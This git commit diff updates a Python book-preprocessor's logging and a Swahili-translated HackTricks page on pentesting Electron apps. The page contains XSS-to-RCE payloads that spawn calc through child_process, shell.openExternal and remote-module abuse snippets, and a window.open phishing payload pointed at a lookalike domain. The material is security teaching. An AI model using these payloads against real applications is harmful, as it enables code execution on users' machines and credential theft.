Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-01-07 18:15:59 +00:00
parent 32ba06a976
commit d7b547df22
3 changed files with 158 additions and 47 deletions

1
.gitignore vendored
View File

@ -10,3 +10,4 @@ scripts/*
book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log

View File

@ -7,7 +7,14 @@ from os import path
from urllib.request import urlopen, Request
logger = logging.getLogger(__name__)
logging.basicConfig(filename='hacktricks-preprocessor.log', filemode='w', encoding='utf-8', level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(filename='hacktricks-preprocessor.log', mode='w', encoding='utf-8')
handler.setLevel(logging.DEBUG)
logger.addHandler(handler)
handler2 = logging.FileHandler(filename='hacktricks-preprocessor-error.log', mode='w', encoding='utf-8')
handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
def findtitle(search ,obj, key, path=(),):
@ -27,7 +34,7 @@ def findtitle(search ,obj, key, path=(),):
def ref(matchobj):
logger.debug(f'Match: {matchobj.groups(0)[0].strip()}')
logger.debug(f'Ref match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
@ -45,19 +52,29 @@ def ref(matchobj):
try:
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
logger.debug(e)
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
sys.exit(1)
@ -69,6 +86,7 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
@ -76,19 +94,19 @@ def files(matchobj):
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
logger.debug(root)
logger.debug(files)
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
@ -97,6 +115,7 @@ def files(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
@ -126,15 +145,15 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n#]*(?:#(.*))?)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = re.sub(regex, files, new_content)
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -4,9 +4,9 @@
## Introduction
Electron inachanganya backend wa ndani (pamoja na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
Electron inachanganya backend wa ndani (na **NodeJS**) na frontend (**Chromium**), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.
Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo unahitaji kuutoa:
Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya `.asar`, ili kupata msimbo huo unahitaji kuutoa:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Mipangilio ya **mchakato wa renderer** inaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili main.js. Baadhi ya mipangilio itakayo **zuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa vizuri**.
Mipangilio ya **mchakato wa renderer** inaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili ya main.js. Baadhi ya mipangilio itakayo **zuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa vizuri**.
Programu ya electron **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekwa ili kuzuia hilo:
- **`nodeIntegration`** - ime **zimwa** kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.
- **`contextIsolation`** - ime **washwa** kwa chaguo-msingi. Ikiwa imezimwa, michakato ya msingi na renderer siyo iliyotengwa.
- **`preload`** - tupu kwa chaguo-msingi.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - imezimwa kwa chaguo-msingi. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
- **`nodeIntegration`** - iko `off` kwa default. Ikiwa iko juu, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.
- **`contextIsolation`** - iko `on` kwa default. Ikiwa iko chini, michakato ya msingi na renderer siyo iliyotengwa.
- **`preload`** - tupu kwa default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - iko off kwa default. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
- Uunganisho wa Node katika Wafanyakazi
- **`nodeIntegrationInSubframes`** - ime **zimwa** kwa chaguo-msingi.
- Ikiwa **`nodeIntegration`** ime **washwa**, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **pakiwa katika iframes** ndani ya programu ya Electron.
- Ikiwa **`nodeIntegration`** ime **zimwa**, basi preloads zitawekwa katika iframe
- **`nodeIntegrationInSubframes`** - iko `off` kwa default.
- Ikiwa **`nodeIntegration`** ime **wezeshwa**, hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **pakiwa katika iframes** ndani ya programu ya Electron.
- Ikiwa **`nodeIntegration`** ime **zuiliwa**, basi preloads zitawekwa katika iframe
Mfano wa mipangilio:
```javascript
@ -111,7 +111,7 @@ Ikiwa unaweza kutekeleza programu ya Electron kwa ndani, inawezekana kwamba unaw
## RCE: XSS + nodeIntegration
Ikiwa **nodeIntegration** imewekwa kuwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita `require()`. Kwa mfano, njia ya kutekeleza programu ya calc kwenye Windows ni:
Ikiwa **nodeIntegration** imewekwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita `require()`. Kwa mfano, njia ya kutekeleza programu ya calc kwenye Windows ni:
```html
<script>
require("child_process").exec("calc")
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Kwa hivyo, skripti inaweza kusafirisha node-features kwa kurasa:
Kwa hivyo, script inaweza kusafirisha node-features kwa kurasa:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,11 +148,11 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Ikiwa `contextIsolation` imewashwa, hii haitafanya kazi**
> [!NOTE] > **Ikiwa `contextIsolation` iko juu, hii haitafanya kazi**
## RCE: XSS + contextIsolation
_**contextIsolation**_ inanzisha **muktadha tofauti kati ya skripti za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron** ili utekelezaji wa JavaScript wa kila msimbo usiathiri mwingine. Hii ni kipengele muhimu kuondoa uwezekano wa RCE.
_**contextIsolation**_ inanzisha **muktadha tofauti kati ya skripti za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron** ili utekelezaji wa JavaScript wa kila msimbo usiathiriane. Hii ni kipengele muhimu kuondoa uwezekano wa RCE.
Ikiwa muktadha haujawekwa kando, mshambuliaji anaweza:
@ -175,9 +175,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Kupita tukio la kubonyeza
### Bypass click event
Ikiwa kuna vizuizi vilivyowekwa unapobonyeza kiungo, huenda ukawa na uwezo wa kuvipita **ukifanya bonyeza la katikati** badala ya bonyeza la kushoto la kawaida
Ikiwa kuna vizuizi vilivyowekwa unapobofya kiungo, huenda ukawa na uwezo wa kuvipita **ukifanya bofya katikati** badala ya bofya la kushoto la kawaida
```javascript
window.addEventListener('click', (e) => {
```
@ -185,24 +185,26 @@ window.addEventListener('click', (e) => {
Kwa maelezo zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.
Wakati mtumiaji anaposhiriki na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu:
Wakati mtumiaji anapoingiliana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Wasikilizaji hawa **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki yake ya biashara**. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`.
Hawa wasikilizaji **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kwa kawaida unafanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`.
**Hapa kuna pseudocode iliyo rahisishwa:**
**Hapa kuna pseudocode iliyorahisishwa:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Miongozo bora ya usalama ya Electron JS inashauri kutochukua maudhui yasiyoaminika kwa kutumia kazi ya `openExternal`, kwani inaweza kusababisha RCE kupitia protokali mbalimbali. Mifumo ya uendeshaji inasaidia protokali tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, mtu anaweza kurejelea [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha mifano ya protokali za Windows zinazoweza kutumia udhaifu huu.
Miongozo bora ya usalama ya Electron JS inashauri kutochukua maudhui yasiyoaminika kwa kutumia kazi ya `openExternal`, kwani inaweza kusababisha RCE kupitia protokali mbalimbali. Mifumo ya uendeshaji inasaidia protokali tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, mtu anaweza kurejelea [rasilimali hii](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha mifano ya protokali za Windows zinazoweza kutumia udhaifu huu.
**Mifano ya matumizi ya protokali za Windows ni pamoja na:**
Katika macos, kazi ya `openExternal` inaweza kutumika vibaya kutekeleza amri zisizo na mipaka kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Mifano ya matumizi mabaya ya protokali za Windows ni pamoja na:**
```html
<script>
window.open(
@ -247,33 +249,121 @@ frames[0].document.body.innerText
## **RCE: XSS + Old Chromium**
Ikiwa **chromium** inayotumiwa na programu ni **ya zamani** na kuna **udhaifu** **ujulikanao** juu yake, inaweza kuwa inawezekana **kuikabili na kupata RCE kupitia XSS**.\
Unaweza kuona mfano katika **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Unaweza kuona mfano katika **writeup** hii: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing kupitia Internal URL regex bypass**
Kukisia umepata XSS lakini huwezi **kuanzisha RCE au kuiba faili za ndani**, unaweza kujaribu kuitumia **kuiba akidi kupitia phishing**.
Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikagua msimbo wa JS katika upande wa mbele:
Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikagua msimbo wa JS katika front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Kito cha **`openInternally`** kitaamua kama **kiungo** kitafunguliwa katika **dirisha la desktop** kwani ni kiungo kinachomilikiwa na jukwaa, **au** kama kitafunguliwa katika **browza kama rasilimali ya upande wa tatu**.
Kito cha **`openInternally`** kitaamua kama **link** itafunguliwa katika **dirisha la desktop** kwani ni link inayomilikiwa na jukwaa, **au** kama itafunguliwa katika **browza kama rasilimali ya 3rd party**.
Katika kesi ambapo **regex** inayotumika na kazi hiyo ni **dhaifu kwa kupita** (kwa mfano kwa **kutokuepusha nukta za subdomains**) mshambuliaji anaweza kutumia XSS ili **kufungua dirisha jipya ambalo** litakuwa katika miundombinu ya mshambuliaji **likiomba taarifa za kuingia** kwa mtumiaji:
Katika kesi ambapo **regex** inayotumika na kazi hiyo ni **dhaifu kwa bypasses** (kwa mfano kwa **kutokuepusha alama za nukta za subdomains**) mshambuliaji anaweza kutumia XSS ili ** kufungua dirisha jipya ambalo** litakuwa katika miundombinu ya mshambuliaji **likiomba credentials** kwa mtumiaji:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## **Vifaa**
## Moduli ya K remote
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni chombo cha kubaini makosa ya usanidi na mifumo ya usalama isiyo sahihi katika programu za msingi za Electron.
Moduli ya Electron Remote inaruhusu **mchakato wa renderer kufikia APIs za mchakato mkuu**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuwezesha moduli hii kunaingiza hatari kubwa za usalama. Inapanua uso wa shambulio la programu, na kuifanya kuwa nyeti zaidi kwa udhaifu kama vile mashambulizi ya cross-site scripting (XSS).
> [!TIP]
> Ingawa moduli ya **remote** inafichua baadhi ya APIs kutoka kwa mchakato mkuu hadi kwa mchakato wa renderer, si rahisi kupata RCE kwa kutumia tu vipengele. Hata hivyo, vipengele vinaweza kufichua taarifa nyeti.
> [!WARNING]
> Programu nyingi ambazo bado zinatumia moduli ya remote zinafanya hivyo kwa njia ambayo **inahitaji NodeIntegration iweze kuwezeshwa** katika mchakato wa renderer, ambayo ni **hatari kubwa ya usalama**.
Tangu Electron 14, moduli ya `remote` ya Electron inaweza kuwezeshwa katika hatua kadhaa kwa sababu ya sababu za usalama na utendaji, ni **pendekezo kutotumia**.
Ili kuweza kuwezesha, inahitajika kwanza **kuwezesha katika mchakato mkuu**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Kisha, mchakato wa renderer unaweza kuagiza vitu kutoka kwa moduli kama:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya **functions** zinazotolewa na kitu **`app`** kutoka kwa moduli ya mbali:
- **`app.relaunch([options])`**
- **Inaanzisha upya** programu kwa **kutoka** kwenye mfano wa sasa na **kuanzisha** mpya. Inafaida kwa **maktaba za programu** au mabadiliko makubwa ya **hali**.
- **`app.setAppLogsPath([path])`**
- **Inafafanua** au **inaunda** directory ya kuhifadhi **app logs**. Logs zinaweza **kupatikana** au **kubadilishwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Inasajili** executable ya sasa kama **mshughulikiaji wa kawaida** kwa **protocol** maalum. Unaweza kutoa **njia maalum** na **hoja** ikiwa inahitajika.
- **`app.setUserTasks(tasks)`**
- **Inazidisha** kazi kwenye **Kikundi cha Kazi** katika **Jump List** (kwenye Windows). Kila kazi inaweza kudhibiti jinsi programu inavyo **anzishwa** au ni **hoja** zipi zinazopelekwa.
- **`app.importCertificate(options, callback)`**
- **Inaleta** **PKCS#12 certificate** kwenye **store ya vyeti** ya mfumo (Linux pekee). **Callback** inaweza kutumika kushughulikia matokeo.
- **`app.moveToApplicationsFolder([options])`**
- **Inahamisha** programu kwenye **folda ya Maombi** (kwenye macOS). Inasaidia kuhakikisha **ufungaji wa kawaida** kwa watumiaji wa Mac.
- **`app.setJumpList(categories)`**
- **Inapanga** au **kuondoa** **Jump List** ya **kawaida** kwenye **Windows**. Unaweza kubainisha **makundi** ili kuandaa jinsi kazi zinavyoonekana kwa mtumiaji.
- **`app.setLoginItemSettings(settings)`**
- **Inapanga** ni **executables** zipi zinaanzishwa wakati wa **kuingia** pamoja na **chaguzi** zao (macOS na Windows pekee).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
API **kuu** ya kufikia mapendeleo ya mfumo na **kutolea matukio ya mfumo** katika Electron. Mbinu kama **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, na **setUserDefault** zote ni **sehemu ya** moduli hii.
**Mfano wa matumizi:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Inasikiliza** **arifa za asili za macOS** kwa kutumia NSDistributedNotificationCenter.
* Kabla ya **macOS Catalina**, ungeweza kunusa **arifa zote** zilizotolewa kwa kupitisha **nil** kwa CFNotificationCenterAddObserver.
* Baada ya **Catalina / Big Sur**, programu zilizowekwa kwenye sanduku zinaweza bado **kujiandikisha** kwa **matukio mengi** (kwa mfano, **kufungwa/kufunguliwa kwa skrini**, **kuwekwa kwa sauti**, **shughuli za mtandao**, nk.) kwa kujiandikisha arifa **kwa jina**.
### **getUserDefault / setUserDefault**
* **Inashirikiana** na **NSUserDefaults**, ambayo inahifadhi **mapendeleo** ya **programu** au **ya ulimwengu** kwenye macOS.
* **getUserDefault** inaweza **kurejesha** taarifa nyeti, kama vile **mahali pa faili za hivi karibuni** au **mahali pa kijiografia ya mtumiaji**.
* **setUserDefault** inaweza **kubadilisha** mapendeleo haya, ambayo yanaweza kuathiri **mipangilio** ya programu.
* Katika **matoleo ya zamani ya Electron** (kabla ya v8.3.0), tu **seti ya kawaida** ya NSUserDefaults ilikuwa **inapatikana**.
## Shell.showItemInFolder
Kazi hii inaonyesha faili iliyotolewa katika meneja wa faili, ambayo **inaweza kutekeleza faili hiyo kiotomatiki**.
Kwa maelezo zaidi angalia [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) ni chombo cha kutambua makosa ya usanidi na mifano ya usalama isiyofaa katika programu za msingi za Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ni nyongeza ya chanzo wazi ya VS Code kwa programu za Electron inayotumia Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kuangalia maktaba za wahusika wa tatu zenye udhaifu
- [**Electro.ng**](https://electro.ng/): Unahitaji kununua
- [**Electro.ng**](https://electro.ng/): Unahitaji kuununua
## Maabara
## Labs
Katika [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) unaweza kupata maabara ya kutumia programu za Electron zenye udhaifu.
@ -309,5 +399,6 @@ npm start
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Utafiti zaidi na maandiko kuhusu usalama wa Electron katika [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}